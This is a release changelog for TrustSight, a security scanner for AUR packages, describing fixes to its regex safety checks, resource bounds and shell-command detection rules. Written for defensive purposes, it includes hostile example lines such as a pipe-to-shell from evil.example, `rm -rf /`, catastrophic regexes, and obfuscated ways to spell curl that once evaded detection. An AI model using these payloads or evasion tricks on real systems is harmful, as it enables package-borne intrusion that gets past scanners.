The detector now probes at LONG_PROBE_LEN (2048) as well as 22, and
measures growth rather than only absolute time: four times the input
costs about four times the time when a pattern is linear and sixteen when
it is quadratic, so SUPERLINEAR_GROWTH separates them. Absolute time
alone was not enough - the sudo pattern is quadratic with a small
constant and sat under the budget at the probe length while still costing
seconds at a full line. lint reports the growth case with its own
message, because "cheap on a short line, expensive on a long one" is not
what a rule author reads "exponential" to mean.
Two patterns previously documented here as linear - (-?\d+,)+; and
(a|ab)+c - are quadratic (15.4x and 14.8x growth for 4x input). They
were classified from measurements at n<=26, which is exactly the blind
spot being closed. Prefix-overlap alternation is refused again, now on
measurement rather than on a structural guess.
- The one runtime-built pattern is now audited like a shipped one.
scripts/regex_audit.pyreads source, so it covers everyre.compilein the tree - except the patternfind_line_in_diffassembles from its argument. That function took regex syntax, compiled it unescaped first, and fell back to escaping only onre.error, so any argument that was valid regex ran as one against every line of the diff, with no backtracking check anywhere on the path. A supplied(a+)+$cost 5.6 seconds against a single 24-character line, doubling every two characters after that.
All twelve call sites pass either an intentional pattern or an escaped fragment, so nothing was exploitable today; the exposure was that forwarding package text once would have been enough. A dynamic pattern is now held to the same standard as a shipped one, and a refused pattern is matched as the literal text it probably was rather than dropped - 5.6s becomes 0.000s and the intentional patterns still work.
Two copies of the function existed, in analysis/delivery.py and
analysis/structural.py. They are one shared helper in rules.py (which
already owns the regex-safety import), with a test asserting no local copy
returns, because identical code in two modules is how a fix lands in one
of them.
-
A URL is sliced before it is escaped, not after (C005). Cutting an escaped string can cut an escape sequence in half; the compile then fails, the fallback escapes the already-escaped text, and the line number is silently lost - on exactly the long URLs the rule is reporting.
-
The backtracking detector is probed with the pattern's own alphabet.
regex_safetydecides whether a pattern may run against hostile text, so its sensitivity is the security property. It ran six fixed probes made ofa, spaces,/and|- no digit appeared in any of them, so every pattern driven by\dor[0-9]was tested with input it could not match and scored a risk of exactly 0.0s, which reads identically to safe. Of ten known-catastrophic patterns, five passed.
Probes are now derived from each pattern's own classes and literals, which
generalises instead of extending a list of the attacks somebody thought
of. Two fixed probes were added for shapes the derivation does not reach:
a digit run, and a dotted name with no scheme - https://a.a.a.com cannot
reach a ^-anchored host pattern, because it fails at position 0 before
any backtracking starts, and host-shaped patterns are everywhere here. The
structural check also now catches a quantified character class inside a
quantified group (([0-9]+)+) and identical alternation branches
((x|x)*). All ten are refused; 233 shipped patterns and 11 TOML rule
patterns still compile, and probing a safe pattern costs 0.027 ms.
Prefix-overlap alternation ((a|ab)+) is deliberately not refused.
The textbook calls it ambiguous, but measured in CPython it is flat under
both attack shapes, and a refused pattern does not raise - _compiled
returns None and the rule quietly stops matching. A false refusal is a
hole, not an inconvenience, so the check stays where the evidence is.
- A line-count cap on rule matching (
rules.MAX_SCANNED_LINES).MAX_RULE_LINE_BYTESbounded how long a line may be and nothing bounded how many there are, but matching costs per line - about 0.46 ms - so the 5 MiB byte cap permitted ~1.3 million short lines and roughly ten minutes of CPU for one package, timesdepth.MAX_DEPTH_NODES(200) at full depth. A 200,000-line diff now takes 8.9s instead of 92s.
The cap is 20,000: five times the largest diff in the 3,739-diff locked
benign corpus (3,839 lines; p99.9 is 2,117), so it truncates none of them.
Truncating reports a new scan_truncated coverage gap and sets the
matching scan_truncated field on the report, kept distinct from
diff_truncated because they name different dials - a reader who saw only
the byte gap would raise [diff] max_diff_bytes and find it changed
nothing.
analyze_package and scan_diff are parallel implementations that each
tokenize and each match, so the clamp is one shared helper rather than two
copies, and a test walks the AST to assert nothing tokenizes an unclamped
diff. The byte cap beside it was originally written on the git path alone,
which is the same mistake one step earlier.
-
Resource bounds derived from the resource, not from the wire format. A14 says no package-controlled input decides how much CPU, memory, network or disk this process uses. Five places bounded an input without bounding what the input became, and each looked adequate on its own:
MAX_DECOMPRESSED_BYTESwas set against the ~250 MB AUR dump on the wire. Measured withtracemalloc, dump-shaped JSON parses into Python objects at about 6x its serialised size, so the 1 GiB ceiling permitted ~6.1 GiB of live objects. Lowered to 512 MiB, with the measured factor recorded asJSON_OBJECT_AMPLIFICATIONso the ceiling can be re-derived rather than guessed at.- The IOC baseline loader capped bytes (
MAX_BASELINE_BYTES, 256 MiB) and not entries, so a baseline was millions ofIocEntryobjects. AddedMAX_BASELINE_ENTRIES. - Clones and fetches were bounded by a 120-second deadline and nothing
else. A deadline is not a byte budget: on a fast link it is gigabytes
written straight to the cache. Added
MAX_TRANSFER_BYTES(256 MiB) via the existing progress callback. - A per-repository ceiling is not a disk bound, because the dependency
walk multiplies it by
depth.MAX_DEPTH_NODES(200) - two caps that each look sufficient compose to their product, 50 GiB. AddedMAX_TOTAL_TRANSFER_BYTES(2 GiB), charged across the whole run. - Repository history is authored by the party under review, and three
walks ran it to exhaustion - one of them decoding a PKGBUILD blob per
commit. Added
MAX_HISTORY_COMMITSandfetcher.walk_bounded, a single implementation the fourth walk (temporal, which had its own inline counter) now shares. A test asserts no rawrepo.walksurvives outside it, because "a control applied at one of several equivalent call sites" is the recurring failure this codebase has.
An oversized transfer raises a _TimeoutError subclass deliberately:
every call site already treats that as "this fetch did not complete", and
a new exception type would be a second path for one of them to forget.
There is no GPU bound because there is no accelerator code - nothing in
the tree imports CUDA, PyTorch, OpenCL or NumPy.
- A crafted
source=URL could cost half an hour of CPU. URL classification walked every hostname label and computed every parent domain, which is quadratic in label count. One 8 KiB host made of dots took 421 ms, andMAX_URLS_PER_SIDEallows 4,096 URLs per side, so a single package could spend roughly 29 minutes in classification alone - A14 says no package-controlled input decides how much CPU this process uses.
Bounded by DNS's own limits, MAX_HOST_BYTES (253) and MAX_HOST_LABELS
(127): nothing past those is a hostname anyone can resolve. A full cap of
4,096 hostile URLs went from 163 s to 2.7 s, a 60x improvement.
Labels are dropped from the left, not the right. The first version of this fix truncated the leading 253 bytes and discarded the registrable domain - the part every classification decision reads - which a test caught. And truncating rather than refusing is deliberate: refusing an over-length host outright would let an attacker pad a homograph domain past the check, so padding a known homograph with 5,000 labels is asserted to classify exactly as the bare host does.
.SRCINFOparsing was quadratic.parse_srcinfotested membership withvalue not in result[key]- a linear scan of a growing list, once per line. With every value under one key, which is what adependsarray is, that is O(n^2): a 200,000-entry file took 561 seconds. Membership now uses a set beside the list, so order and de-duplication are unchanged: 256 ms, a 2,195x improvement.diff_srcinfohad the same shape in its added/removed comprehensions and is now linear too, and the blob read is size-checked before.data.
Three bounds were added, matching what the differ applies to a patch:
MAX_SRCINFO_BYTES, MAX_SRCINFO_LINES, MAX_SRCINFO_VALUES_PER_KEY.
This module is not currently imported by production code, so the defect
was latent rather than exploitable - the live .SRCINFO consumer,
full_aur.properties.extract_properties, already used sets. It is fixed
rather than left because dead code that gets wired up later is exactly how a
nine-minute parse reaches a user.
-
The A5 hostile-input gate measured only one of two shapes. It timed a single 5 MiB line, which the 8 KiB clamp makes cheap. The same byte budget spread over many lines pays the whole ruleset per line and costs far more - the gate now measures both, and reports each separately.
-
A command name split across a line continuation was invisible to every rule. Both continuation joiners inserted a space, so
cur\followed byl https://...becamecur l https://...- two words, and nothing that matches a command name saw either. The shell removes a backslash-newline; it is not whitespace.curl https://evil.example/x | shwritten that way scored 20 (the source-domain prior alone) and now scores 65.
There were two joiners - join_line_continuations and the indexed form
the rule path uses - and fixing the first left the second reachable, which
is the "control applied at one of several equivalent call sites" failure
contributing/security-review.md catalogues. Both now join verbatim, and
indentation on the continuation line still separates arguments.
- Two more shapes for X002, found by wrapping one payload sixteen ways:
brace expansion assembling a name (
cur{l,}) and a character that impersonates ASCII (сurl, Cyrillic). Both scored 20 before and score 60 now.
The homoglyph shape uses the curated confusable map buckets already
applies to domains, not "any non-ASCII character": the broader form raised
X002's benign rate from 0.695% to 0.802% by firing on ordinary English prose
carrying a typographic apostrophe, which impersonates nothing. Narrowing it
returned the rate to 0.695% with the detection kept.
-
Esoteric-input sweep. Thirty-seven shapes - heredocs (quoted, unquoted, dash), here-strings, process substitution, brace ranges, parameter operators, array slices,
case, CRLF, missing trailing newline, NUL bytes, BOM, astral planes, combining marks, NFD, lone-surrogate escapes, malformed and negative hunk headers - produced zero crashes and zero nondeterminism. Sixteen carrying a live payload are now pinned as regressions: none may score on the source prior alone. -
B2's calibration table was stale in six of eight figures. Verified by recomputing every one against the locked corpus with the same code path the calibration gate uses: corpus size 3,246 -> 3,739, benign p95 45 -> 35, zero-rate 69.1% -> 68.3%, benign above threshold 16.3% -> 13.1%, the percentile 20 sits at 83.7th -> 86.9th, and the separation margin 15 -> 25. Median (0), malicious p5 (60) and malicious minimum (40) were correct.
Every drift is in the safe direction - the tool flags fewer benign updates than documented and separates the populations more widely - but the doc's own promise is that a published number is measured, so "better than stated" is still stated wrongly. The prose said a reviewer should expect to look at roughly one benign update in six; it is now closer to one in eight.
-
The coverage-gap count said seven where eight are listed. An off-by-one introduced with
deps_not_scanned; the table itself was complete. -
The diff generator's byte cap was inert on the path that uses it. The git path called
generate_diffwith nomax_bytes, so the internal capping block was skipped entirely: every filtered patch was materialised in full viapatch.text, joined into one string, and only then truncated to 5 MiB. A repository with one 2 GB.installdiff allocated 2 GB before any bound applied.MAX_GENERATED_DIFF_BYTESexisted and did nothing on that path, and A4's own wording hedged it - "capped ... when the git path requests a limit", which it did not.
The bound that matters now runs before patch.text. That attribute has
already allocated the whole patch by the time it returns, so a cap applied
afterwards bounds retention rather than memory - the same distinction this
release draws for tar members and blobs, and one the first version of this
fix got wrong. A delta whose declared file size on either side exceeds
MAX_PATCH_SOURCE_BYTES is now skipped without its text being requested,
which is the only bound available ahead of the allocation; a patch is at
most the changed lines plus context, so a file small on both sides cannot
yield a large one. Text that is read is capped at MAX_PATCH_BYTES, the
retained total at MAX_GENERATED_DIFF_BYTES, patches visited at
MAX_DIFF_PATCHES, and the summary at MAX_DIFF_SUMMARY_FILES - the
summary walked every delta regardless of the text cap, so a wide repository
chose the size of a stored fact_json.
What none of this covers is libgit2's own diff construction: repo.diff()
builds the diff before any of it runs, and that cost is a property of the
repository. It sits inside the stated dependency assumption and is now
documented rather than implied.
- Generator-side truncation is returned, not inferred. This is the pairing
that matters, and fixing the bound without it would have created the defect
it prevents: a patch the generator declines to retain leaves the assembled
text at or under the cap, so a caller measuring that text reports a complete
analysis while content was skipped. That is the silent skip B2 forbids and
Part D lists as in scope.
generate_diff_boundedreturns the flag and the pipeline consumes it; the two-valuegenerate_diffremains for existing callers.
Policy omission stays distinct from truncation: a .png the filter never
reads leaves nothing unexamined, while a .install dropped at a cap does,
and only the second sets the flag.
-
The PKGBUILD blob driving companion discovery was read unbounded.
blob.datamaterialises everything, and the size check came afterwards - so the one blob guaranteed to exist was the one read without a bound, while the companion blobs beside it were checked first. Now bounded byMAX_PKG_BUILD_BYTESbefore.datais touched, with a test that proves the ordering behaviourally rather than by reading the source. -
Companion discovery walked the whole tree.
MAX_COMPANION_FILESapplies to the selected set, so the walk producing that set was unbounded; it now stops atMAX_COMPANION_TREE_ENTRIES. A referenced basename pastMAX_COMPANION_NAME_BYTES, or carrying any path structure (absolute, traversal, separators, NUL), is refused rather than rendered into a hunk header naming a file the reader cannot open. -
Two new gates:
generated diff is bounded before assemblyandcompanion reads are bounded before data. -
A snapshot member was read with no bound.
MAX_RESPONSE_BYTEScaps the compressed snapshot body at 32 MiB, and_pkgbuild_from_tarfilethen read the PKGBUILD member with a bareread(). A tar member's declared size is the attacker's number, and gzip on compressible content runs to roughly a thousand to one, so a tarball comfortably inside the response cap could declare - and cause the process to allocate - tens of gigabytes. Member reads are now bounded byfull_aur.fetch.MAX_TAR_MEMBER_BYTESas the bytes are materialised. -
Artifact reads happened before the checks that were supposed to bound them. An Ed25519 signature is computed over the bytes of the thing it signs, so verification cannot run until those bytes are read: a bound behind the check guards nothing. The same applied to a digest recorded for attribution (A12) and to
gunzip_capped, which capped an expansion it only ever saw as an already-materialised buffer.ioc_baseline,full_aur.export,dbandseed_buildnow bound every such read before it happens. -
New
trustsight.bounded_io.read_cappedandread_file_capped, both refusing rather than truncating. A truncated read is a complete-looking one with its tail quietly removed, which is the seam A5 and A6 already refuse. -
A refused snapshot is a coverage gap, not a silent fallback. A refused archive and a package with no snapshot both fall back to the cgit text fetch, so on the fallback alone they are indistinguishable. The new
snapshot_refusedgap records that a bound in this program dropped content, travelling alongsidetree_not_analyzed, which only says the tree was not read. A14 requires a bound that drops content to be visible as a bound. -
Two new gates, both structural.
every stream read is boundedscans the whole source for a zero-argumentread(); it caught a site (seed_build._read_raw_maintainers) that a targeted audit had missed, which is the case for scoping wide.artifact reads are bounded before verificationenumerates the artifact-loading modules. -
no path-based archive extraction, renamed fromarchives are never extracted to disk. The old name was broader than both the check and the truth:db._extract_v2_archivedoes write seed members to disk, under an explicit containment guard. A8 now states that plainly, names the guards, and points at A12 as the actual trust anchor, instead of implying an extraction surface that does not exist.
Changed¶
-
The complete hardening pass is covered by 2,473 tests, 65 security gates, and 10 calibration gates. The standalone calibration runner now loads the repository source tree explicitly, so it cannot accidentally validate an older installed TrustSight package instead of the checkout under review.
-
Documentation moved to
docs.trustsight.org. 32 links acrossREADME.mdand the site configuration (site_url,canonical_host,public_base_url, and the Open Graph image) now point at the new domain. -
Performance: a large diff scans 31% faster, and CLI startup drops ~180 ms. Profiled rather than guessed at, and every change is behaviour-preserving.
deps._strip_commentwas called about thirty times per diff line - each rule module stripped comments independently - and is a pure function of a short string. Memoised with a bounded cache, because the keys are attacker-controlled and an unbounded memo is memory the attacker sizes.- Three modules (
buildfetch,sabotage,crossfire) each carried their own char-by-char copy of the same stripper, which accounted for most of 1.77 million list appends in one scan. All three now use the shared memoised one. registry_resolutionsran three times per analysis - once for the coverage gap, once for the IOC surface, once for the R143 composition - re-joining every line and re-classifying every function each time. Now cached, also bounded.unicode.pywalked all 1,114,112 code points at import askingunicodedatafor each category, about 360 ms, paid by every CLI invocation including--version, becausecli.inspectimports from it at module level. The scan is deferred to first use rather than replaced by a literal: deriving it is what makes a format-control codepoint added in a future Unicode version covered automatically, and only when it runs has changed.
Measured on an 875 KB diff: 27.25s -> 18.81s. Scaling stays linear. Routine operations were swept and none exceeds 26 ms: config load 2.7 ms, rule load 0.7 ms, fingerprint 2.5 ms, database init 15.2 ms, a typical package scan 25.4 ms.
- A CRITICAL finding floors the band at
High. CRITICAL weighs 40 and the High band opens at 51, so arithmetic alone could never lift a single CRITICAL aboveMedium: a lone fork bomb, a lonerm -rf /and a lonecurl | bashall total 40, andcurl | bashonly read High because it happens to trip three rules at once. One confirmed CRITICAL finding is not a medium situation whatever the sum says.
No score changes - the floor moves the band only - so the calibrated
separation between the benign and malicious score populations is untouched
(benign p95 35, malicious p5 60). Severity overriding arithmetic is the shape
B4 already establishes, where a FATAL caps the score at 100 regardless of the
total. Enforced by a critical finding never reads medium.
- A FATAL finding names itself in
risk_label. A FATAL caps the score at 100, so it arrives asCritical- and so does a score that merely accumulated past 80. Those are different claims: a FATAL rule is unsuppressible by construction and the shipped ones target the reviewer rather than the machine.risk_labelnow readsCritical (FATAL: R013).
It rides the label rather than a new band deliberately. risk is a closed
enum consumers gate on, and nothing is lost without a new member: the
severity is in score_breakdown either way. Naming the FATAL does not
displace B2's coverage qualifier, which the gate asserts. Enforced by
a fatal finding names itself in the label.
-
Three sabotage fixtures were mislabelled as whole attacks. The separation gate excludes single-signal probes by reading their declared
min_scoreagainstCRITICAL_MIN_SCORE(40), andS001-S003declared exactly 40 - asserting a High-or-worse outcome for fixtures that are one-rule probes scoringMedium. They were the first fixtures to land exactly on that boundary; every existing CRITICAL probe scores above it by tripping more than one rule. Relabelled tomin_score: 30, which is still true and correctly classifies them, restoring malicious p5 from 50 to 60. -
The API and the CLI now emit the same JSON body (B11). There were three machine-readable surfaces building three different dicts:
review --json(14 keys),inspect --json(14 different keys) and the API'sto_dict()(31 keys), with two naming conventions between them (packageagainstpackage_name,scoreagainstfinal_score). The API body carried nofindingsat all while its docstring claimed to be what the CLI writes, so a consumer written against one path could silently miss evidence on another. All three now render throughreporting.report_body, and every key inreporting.REPORT_KEYSis present on all of them with the same value. -
Three fields were missing from terminal renders that the JSON carried. Found by pushing one fact through all seven output methods and comparing, rather than by comparing JSON with JSON. Each of the three had a gate already, and each gate was aimed at the layer where the value is set rather than at the renders that have to show it:
trustsight inspectreported nothing about a coverage gap unless--scoreor--riskwas passed. The gap rode the band label, and the default output correctly withholds the band, so the one light that must never be suppressible was suppressed by default on that command (B2). Bothinspectrenders now show it independently of any band.trustsight reviewshowed suppressed rules only in its JSON body - neither the Rich nor the plain render mentioned them, so an override-silenced rule looked, on screen, exactly like one that never matched (B5).trustsight inspectwithout Rich had no change summary, so that terminal could not tell "nothing fired and nothing changed" from "nothing fired and a great deal changed" (B7).
Enforced by the new every render reports the same information gate, which
loops over all four renderers.
-
review's plain renderer is now_render_results_plain. It was inline in_run_analysis_loopand could not be called without a CLI invocation, which is why two of the three omissions above lived there:contributing/security-review.mdsays an ungateable path is where the dropped field will be, and it was. -
A fork-bomb pattern was bounded before it shipped. Two unbounded lazy spans plus a backreference in
S001is a catastrophic-backtracking shape, and A5's 8 KiB clamp still leaves 8 KiB to backtrack across: it cost 2.4 seconds on one hostile line and failed therule matching is bounded on hostile inputgate. Every span in the sabotage module now carries a constant ceiling, which brought the same line to 20 ms and the whole family's cost to within noise of the pre-existing baseline. -
inspect --jsonno longer volunteers the score. It always emittedscore,riskandrisk_labelregardless of the flags, so the number the CLI is documented to withhold was the default for every machine consumer of that command. The score group is now withheld on every surface unless asked for:--score/--riskon the CLI,include_score=Trueon the API. Per-findingweightmoved to the verbosescore_breakdown, since a weight is score arithmetic. Attribute access is unchanged -report.scoreis always populated, because naming the field is the request.
Breaking for consumers of Report.to_dict(), which now returns the
CLI's report body rather than the serialised PackageFact. The stored
record is available as Report.raw, in its own storage naming.
-
display._fact_to_dictis gone. It wasinspect --json's private body builder; with that path on the shared one it had no callers, and theevery JSON report carries the fingerprintgate was still aimed at it - a gate passing against a function no JSON path calls, which is the same failure mode in a new place. The gate now exercisesreport_body(with and without the score) and the storedfact_jsonbeside it. -
CI installs from the lock. Every workflow used
pip install -e ".[dev]", resolving five runtime dependencies fresh from PyPI on every push - a live remote dependency inside the job that certifies the security model, and the softest edge of the stated "CI is not compromised" assumption. Workflows now useuv sync --locked, which resolves nothing and installs exactly the pinned, hashed versions inuv.lock. Enforced by the newCI installs from the lockgate.astral-sh/setup-uvis pinned by commit SHA like every other action.
The flag is --locked and not --frozen deliberately. Both install from
the lock and resolve nothing, but --frozen performs no check that the
lock still matches pyproject.toml: a dependency added to the manifest and
never locked is silently ignored, and the job installs an older closure
while appearing to honour the manifest. --locked fails instead, which is
what makes the lock load-bearing rather than merely present.
-
uv.lockwas stale. It recorded the project at 0.11.0, two releases behind, so nothing could have installed--frozenfrom it. Refreshed; the dependency set was already correct and did not change. -
cryptographynow has a floor (>=42.0). It had no lower bound at all, despite being the module that verifies the signatures A13 and A13b rest on.
Added¶
-
A
supply-chainworkflow: exports the locked closure, generates a CycloneDX SBOM, and reports known advisories against it, weekly and on dependency changes. Deliberately non-blocking. Making it a gate would put a remote advisory feed in the path of every push, which is what every other workflow's--frozeninstall exists to remove, and an advisory is evidence about a library rather than a verdict about this program. The "dependencies are trusted" assumption stands; what changes is that the project can now see when it stops holding. -
Sandboxing the tokenizer, a design note on the larger of the two architectural limits. It argues the tokenizer is the component worth isolating and the renderer is not, states what isolation would not buy (it bounds the blast radius of a defect, not the correctness of expansion), and records three conditions under which it should be built. Nothing is scheduled; the point is that the current position is a choice with its reasoning written down.
Added¶
trustsight review --depsreviews the dependencies instead of the packages. An AUR package'sdependsare built by the samemakepkgrun on the same machine, and the June 2026 campaign is the argument for looking at them: it hijacked orphans, and an orphan is far more often somebody's dependency than the thing they meant to install. A default review already analyses direct dependencies, but reports each as a summary card under the package that pulled it in; this makes each one the subject of its own panel, with its findings, its diff and its verdict.
Each dependency reports Required by: the packages in the reviewed set
that declare it. That is the reverse of the relationship the rest of the
report describes, and it needed its own walk. walk_dependencies shares its
already_seen across roots so a dependency twenty packages need is analysed
once - right for a per-package report, and wrong here, because it attributes
the dependency to whichever root reached it first. dependency_closure keeps
every edge and analyses each package once.
--depth applies to the closure: --deps --depth 2 reviews direct
dependencies and theirs, rather than walking two levels below each. Roots
are not reviewed - that is the no-flag view. The same MAX_DEPTH_LEVELS and
MAX_DEPTH_NODES ceilings bound the walk, because the graph is written by
the party under review, and a closure cut short says so.
required_by is in the JSON body and on Report too, and
TrustSight.review(deps=True) is the API's spelling of the flag - a field
the API can carry but never populate is a field that does nothing, and the
closure walk lives in the engine so both surfaces reach the same one. An
ordinary review now ends with a one-line pointer at the flag, shown only when
something reported a dependency: advice about an empty set is noise, and so
is advice you already followed.
- Documentation caught up with the terminal. The quickstart still showed a
three-column
Package / Risk Score / Verdicttable that the tool has not rendered in a long time - and showed a score column by default, which is the opposite of what it does. Theinspectsample printedStatustwice and described the plain renderer as "a condensed subset", both of which were true before this release and are not now. The README's 30-second example carried the doubled rule id andchecksums checksum added or changedverbatim, which is where the report of those defects came from. Every sample in the docs is now generated from the renderers rather than written by hand.
Changed¶
-
Crossfire asks which file a line is in, not which function. The scope gate was an allowlist of the five standard makepkg function names, and the function a payload sits in is chosen by the person being reviewed. Four spellings walked past all seven rules:
package_libfoo()- a split package. makepkg callspackage_$pkgname()for each name in a split recipe, so renamingpackagewas a one-word bypass. It is the commonest function shape in the AUR after the standard five.package_google-chrome-bin()- worse: a pkgname may hold a hyphen and the shared classifier's\w+does not match one, so the header matched neither function expression. The body classified asother, invisible to every rule with a scope, not just this family. Fixed inrules.pywith makepkg's own name class._helper(), called frombuild().- a payload at top level, which runs when makepkg sources the
recipe, before any build step - something the project already documents
under
unresolved_parse_timeand the rules were not reading.
A PKGBUILD, a .install scriptlet and a shell companion are shell from
the first line to the last, top level included; a .desktop, a .patch and
a .SRCINFO are not shell in any scope, which is a sharper exclusion than
the old gate managed even when it worked.
Widening it exposed four parser gaps the narrow gate had been hiding, each a
line whose command position lives elsewhere: a multi-line array literal
(depends=( then one entry per line), a multi-line [[ ]] test, a
multi-line double-quoted string, and [[ -n "$a" && "$a" != "$b" ]] being
split on its && - a conditional that mentions a variable is most of the
shell ever written. Plus one that was never about position: command -v
"$cmd" asks where $cmd is and runs nothing.
The family still fires on zero of the 3,246-diff benign corpus.
-
The crossfire family fires on zero of the 3,246-diff benign corpus, down from X002's 0.678%, while eleven more evasions are closed - ten here and one in the tokenizer. Rate and recall moved in opposite directions, which is the only combination worth having, and it happened because none of the false positives were arguments about what counts as evasion. Every one was a rule looking in the wrong place.
- Function scope leaked across file boundaries. A hunk shows part of a
file, so a
package() {whose closing brace fell outside it left the brace counter raised for the rest of the diff, placing every following file inside that function. A.desktopfile's translatedName[be]=line was read as shell and matched X002's homoglyph shape - Cyrillic in a translation impersonates nothing and names no command. Fixed in the shared classifier inrules.py, so every scoped rule gets the correction, not just this family. - A modified continuation tail lost its head. The joiner joins lines
carrying the same diff marker, so editing the tail of a
\-continued command separates the halves with the removed version. The+line arrived alone and its first word - an argument to a command two lines up - read as a command name.
evalwas scored twice. R039 already claims eval-of-dynamic-content; treatingevalas a wrapper walked into its argument and drew a second CRITICAL on the same bytes. That is the thing this family says it never does, and the reason there is no X008 beside R013.- A variable naming a directory is not a hidden command.
"$srcdir/calibre-release/calibre-debug"spells its executable out. The shape matched it because the variable name was allowed to match a prefix of itself, so${pkgdir}/etc/xread as${pkgdi}+r. Now the name is maximal, and a/after it means a path while an operator inside the braces (${c//X/}) still means assembly. CMD=$(which x)names its executable literally, one line up, where every payload rule reads it. Exempted as the discovery idiom rather than as assignment in general:CMD=$(printf '\x63\x75\x72\x6c')assembles a name that appears nowhere and stays an evasion.
- Function scope leaked across file boundaries. A hunk shows part of a
file, so a
The ten closed here: if/elif/while/until each take a command and test
its exit status, and the scan stopped at the keyword - a one-word bypass of a
CRITICAL rule. set +o xtrace is set +x spelled long. base32 -d,
openssl enc -d and uudecode decode into the same shell as base64 -d
without being it. And cp payload /home/alice writes into the same directory
as /home/alice/, which every X005 alias pattern had required a trailing
slash to see.
- The tokenizer now removes an intra-word escape, and X002 stood down in the
same change.
c\urliscurlto the shell, which drops a backslash before an ordinary character. The tokenizer kept it, so the name never reconstructed and no rule saw it at all - not R001, not anything. It was the only bypass found in this pass that reached nothing.
It was closed in crossfire first, as an escaped-character shape, and then
closed properly in tokenizer._ESCAPE_REMOVABLE: every rule that reads a
command name now sees through it, rather than one rule reporting the
technique. The shape was retired with it, because a resolved name scored
there too would be one command scored twice - the same reason curl"", which
always folded, never had a shape. That progression is what this family's
docstring asks for: it is not a substitute for fixing the tokenizer, and a
shape retired because the tokenizer caught up is the arrangement working.
Only the meaningless escapes are removed - a backslash before a letter,
digit, _, . or /. \| is a literal pipe, not a pipeline, and
unescaping it would have built a pipe-to-shell out of curl x \| sh, which
runs nothing of the sort, and handed R001 a false positive. \ holds one
word together, \$ is what stops an expansion, \\ is a literal backslash,
and an escape inside quotes is left alone so printf '\x63\x75\x72\x6c'
still reaches the ANSI-C decoder. Bash removes every backslash; going that
far here would not be more faithful, it would invent syntax the line did not
have.
Fixed¶
-
A negated character class was probed with the one character it excludes.
_representativesread[^\s]as if it were[\s]and derived" ";[^0-9]derived"1". A pattern probed with input it cannot consume measures zero time, and zero is indistinguishable from fast, so every pattern driven by a negated class was scored safe without ever being measured - the same failure that let a quadratic/+$ship, surviving in a second form. The representative is now asked of the compiled class instead of inferred from its text, which answers positive and negated classes by the same mechanism. -
The tokenizer folds case conversion and array slices.
${c,,}onc=CURLiscurl;${a[@]:0:1}ona=(curl x)iscurl. Neither resolved, so the payload rules saw the expansion rather than the command and X002 reported the technique instead - which is the crossfire family's job only for as long as the tokenizer cannot do it. Both now reach R001 directly, as the escape fix did before them.${c//X/}already resolved and needed nothing. -
The line-splitting fix had missed four modules, including the whole crossfire family. The first sweep replaced
name.splitlines()and could not seeclamp_text(diff_text).splitlines()- a call on a call. Sosabotage,crossfire,adoptionandbuildfetchkept Python's line semantics, and a payload split by\vorU+2028stayed invisible to the sabotage family, every crossfire rule and the orphan-adoption rules. Also missed:analysis/pipeline.py, wheredifflib.unified_diffgenerates the diff from PKGBUILD text, so aU+2028in a recipe produced diff lines that did not correspond to the file every downstream rule then read.
All of them go through tokenizer.split_lines now, and
test_no_matching_module_splits_lines_the_python_way greps for the rest -
the defect was that a grep was not general enough, so the fix is a grep that
is. It found this one: X008 below could not fire on U+2028 or NEL, and the
reason was not X008.
- Every
{0,N}in a crossfire shape was a bypass for typing N+1 characters. Four of them: 40 inside a partial quote, 60 before a confusable, 60 inside a brace group, 200 between a decode and its pipe. Soc"u"rlfired andc"uuu…45…u"rldid not, on length alone, and the same for a padded brace group, a long command word with the confusable late in it, and a decode separated from its pipe by 201 characters.
The bounds existed for backtracking safety, so removing them needed the
safety back by other means: possessive quantifiers (*+, Python 3.11+)
where the class already excludes what follows - [^\n|;&]*+ cannot swallow
the | it is hunting, so it never backtracks - and a lookahead where
the span must give ground, asserting the separator once instead of
searching for it from every position.
That second half was not optional. The naive removal made two shapes
quadratic: 31ms on one clamped line for the brace group and 26ms for
X001. A bound traded for a quadratic is no trade - is_superlinear refuses
that shape at compile time, and it is the thing this project has spent its
hardening budget removing. Both are linear now (0.01ms and 1.8ms), pinned
by test_an_unbounded_span_stays_linear.
-
Seven spellings of the same instruction walked past X003 and X004. Each missed for a reason that says nothing about intent:
set +xv- the pattern wanted thexlast in the option cluster, soset +vxfired andset +xvdid not, on letter order alone.TERM='dumb'andTERM="dumb"- a quote sets exactly the same variable.exec 2>>/dev/nullandexec &>/dev/null- only the truncating redirect was listed, and appending detaches a stream as thoroughly.sh -ceandbash -cl- thecmay sit anywhere in the cluster, and requiring it last let both through. The cluster must still hold two letters, which is what keeps an ordinarysh -cout.ash -lc,mksh -lc- X003 carried its own five-shell list while X001 had just been widened to a dozen. It uses the same list now, minus the interpreters, becausepython -lcmeans nothing.
Still zero on the locked benign corpus after all of it.
-
A false positive that was not there. X002 is CRITICAL, so a name the tokenizer can resolve must never reach it -
export CMD=curlthen$CMDis an ordinary recipe, and a rule firing CRITICAL on it would be worse than the evasion it guards against. Checked acrossexport,declare,local,readonlyandtypeset: all silent, all resolved. Pinned, because the next change to the variable table is what would break it. -
X005's staging exemption was case-insensitive and applied to the whole line. Both were ways out of a HIGH rule.
$PKGDIRis not a makepkg variable - it expands to nothing - soinstall -Dm644 x "$PKGDIR/../../home/alice/.bashrc"wrote into a home directory while claiming to be packaging, bought for the price of a shift key. And because the exemption was tested against the whole body, a real$pkgdiranywhere on the line bought silence:echo "$pkgdir" && cp payload /home/alice/.bashrcreported nothing.
The exemption is case-sensitive now and belongs to the target: what makes a write packaging is that the path being written is under a staging root, which is a property of one word rather than of the line. Genuine staged writes stay exempt.
-
A URL scheme is case-insensitive, and two crossfire shapes were not.
HTTPS://1.2.3.4/p.tar.gzwalked past X006's raw-IP shape andHTTP://0x7f000001/past X003's encoded host, both for a shift key. The shortener shape sitting beside them was already case-insensitive, which is what makes this an accident rather than a decision. -
X001's executor list failed the way lists fail. It read
sh|bash|zsh|dash|ksh.ash,mksh,pdksh,yash,posh,busybox sh,busybox ash,env -S sh,env -i bash,command -p sh,source /dev/stdinand. /dev/stdineach took the decoded payload and ran it while the rule said nothing - twelve spellings, one of which R001 already knew about, which is the tell that this was an oversight and not a boundary.
Interpreters are now included too: printf '\x63...' | python3 decodes an
encoding and executes it, which is X001's whole claim, and the escape blob
is what makes it unambiguous - no recipe pipes a hex blob into an
interpreter by accident. The rule is renamed from Encoded Payload Decoded
To A Shell to Encoded Payload Decoded And Executed so the name says what
it does. Still zero on the locked benign corpus after the widening.
